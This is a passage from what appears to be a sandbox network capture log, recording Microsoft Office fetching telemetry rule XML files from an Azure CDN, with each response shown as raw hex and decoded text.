2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6d 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});ma(

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:28 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075528Z-174f7845968jrjrxhC1EWRmmrs0000000v5000000000cf4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:28 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075528Z-174f7845968pf68xhC1EWRr4h80000000vfg0000000014yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:28 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075528Z-174f784596886s2bhC1EWR743w0000000v2000000000c22v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:28 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075529Z-174f7845968g6hv8hC1EWR1v2n00000002yg00000000cbmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:28 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075529Z-174f7845968kdththC1EWRzvxn00000007mg0000000002a8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075530Z-174f7845968v75bwhC1EWRuqen0000000g4g000000002wkk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075531Z-174f7845968psccphC1EWRuz9s0000000vf0000000001qez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:31 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075531Z-174f7845968n2hr8hC1EWR9cag0000000up000000000d8d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075531Z-174f7845968psccphC1EWRuz9s0000000vd0000000004vyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:55:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075531Z-174f78459685m244hC1EWRgp2c0000000uz0000000005z7g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:32 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075533Z-174f7845968pf68xhC1EWRr4h80000000vb0000000007mg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
